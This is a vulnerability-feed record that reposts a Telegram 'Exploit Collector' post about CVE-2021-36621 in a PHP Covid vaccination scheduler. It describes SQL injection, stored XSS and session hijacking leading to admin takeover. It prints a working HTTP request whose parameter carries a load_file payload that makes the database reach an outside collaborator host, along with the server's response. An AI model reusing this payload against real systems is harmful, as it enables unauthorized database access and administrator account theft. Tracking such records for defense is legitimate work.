{"uuid": "00f697ca-0a9c-40c5-998b-9ef0babd584e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36621", "type": "seen", "source": "https://t.me/hacking_Attack/25485", "content": "Exploit Collector\nCovid Vaccination Scheduler System 1.0 SQL Injection / Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-dyIqvjR3K84/WWlvfXt5NkI/AAAAAAAAIQA/Fvmwfk3J4TgcxqdY3USv0_rN_ZW9VtW1ACLcBGAs/s1600/h85.png \nCovid Vaccination Scheduler System version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities. Original discovery of SQL injection in this version is attributed to faisalfs10x in July of 2021.\n\nMD5 | 244e4f5a3652b8edf45eaf6f522a54a4\n\nDownload\n## [CVE-2021-36621](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36621)\n## [Vendor](https://www.sourcecodester.com/php/14847/online-covid-vaccination-scheduler-system-php-free-source-code.html)\n## Description\n\nSourcecodester Online Covid Vaccination Scheduler System 1.0 is vulnerable to SQL Injection, XSS-STORED PHPSESSID Hijacking, and remote SQL Injection - bypass Authentication.\n\nThe attacker can be hijacking the PHPSESSID by using this vulnerability and then he can log in to the system and exploit the admin account.\n\nNext, exploitation: For MySQL vulnerability, the username parameter is vulnerable to time-based SQL injection. Upon successful dumping the admin password hash, an attacker can decrypt and obtain the plain-text password. Hence, the attacker could authenticate as an Administrator.\n\n## Request MySQL:\nGET /scheduler/addSchedule.php?lid=(select%20load_file('%5c%5c%5c%5ciugn0izvyx9wrtoo6c6oo16xeokh87wyymp9fx4.burpcollaborator.net%5c%5cgfd'))&d= HTTP/1.1\nHost: localhost\nCookie: PHPSESSID=30nmu0cj0blmnevrj5arrk8hh3\nUpgrade-Insecure-Requests: 1\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US,en-GB;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\nConnection: close\nCache-Control: max-age=0\n\n## Respond MySQL:\nHTTP/1.1 200 OK\nDate: Tue, 28 Sep 2021 11:17:00 GMT\nServer: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22\nX-Powered-By: PHP/7.4.22\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nAccess-Control-Allow-Origin: *\nContent-Length: 5045\nConnection: close\nContent-Type: text/html; charset=UTF-8\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:19.897832Z"}